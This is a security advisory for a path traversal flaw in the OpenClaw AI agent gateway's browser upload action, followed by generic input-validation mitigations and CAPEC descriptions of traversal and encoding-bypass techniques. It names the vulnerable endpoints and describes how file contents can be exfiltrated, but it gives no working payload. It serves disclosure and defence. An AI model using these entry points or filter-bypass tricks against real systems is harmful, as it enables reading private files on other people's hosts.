"details": "## Summary\n\nAuthenticated attackers can read arbitrary files from the Gateway host by supplying absolute paths or path traversal sequences to the browser tool\u0027s `upload` action. The server passed these paths to Playwright\u0027s `setInputFiles()` APIs without restricting them to a safe root.\n\nSeverity remains **High** due to the impact (arbitrary local file read on the Gateway host), even though exploitation requires authenticated access.\n\n## Exploitability / Preconditions\n\nThis is not a \"drive-by\" issue.\n\nAn attacker must:\n\n- Reach the Gateway HTTP surface (or otherwise invoke the same browser control hook endpoints).\n- Present valid Gateway auth (bearer token / password), as required by the Gateway configuration.\n - In common default setups, the Gateway binds to loopback and the onboarding wizard generates a gateway token even for loopback.\n- Have the `browser` tool permitted by tool policy for the target session/context (and have browser support enabled).\n\nIf an operator exposes the Gateway beyond loopback (LAN/tailnet/custom bind, reverse proxy, tunnels, etc.), the impact increases accordingly.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Vulnerable: `\u003c 2026.2.14` (includes latest published `2026.2.13`)\n- Patched: `\u003e= 2026.2.14` (planned next release)\n\n## Details\n\n**Entry points**:\n\n- `POST /tools/invoke` with `{\"tool\":\"browser\",\"action\":\"upload\",...}`\n- `POST /hooks/file-chooser` (browser control hook)\n\nWhen the upload paths are not validated, Playwright reads the referenced files from the local filesystem and attaches them to a page-level `\u003cinput type=\"file\"\u003e`. Contents can then be exfiltrated by page JavaScript (e.g. via `FileReader`) or via agent/browser snapshots.\n\nImpact: arbitrary local file read on the Gateway host (confidentiality impact).\n\n## Fix\n\nUpload paths are now confined to OpenClaw\u0027s temp uploads root (`DEFAULT_UPLOAD_DIR`) and traversal/escape paths are rejected.\n\nThis fix was implemented internally; the reporter provided a clear reproduction and impact analysis.\n\nFix commit(s):\n\n- 3aa94afcfd12104c683c9cad81faf434d0dadf87\n\nThanks @p80n-sec for reporting.",
"id": "GHSA-cv7m-c9jx-vg7q",
"modified": "2026-02-20T16:45:47Z",
"published": "2026-02-18T00:46:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-cv7m-c9jx-vg7q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26329"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/3aa94afcfd12104c683c9cad81faf434d0dadf87"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw has a path traversal in browser upload allows local file read"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.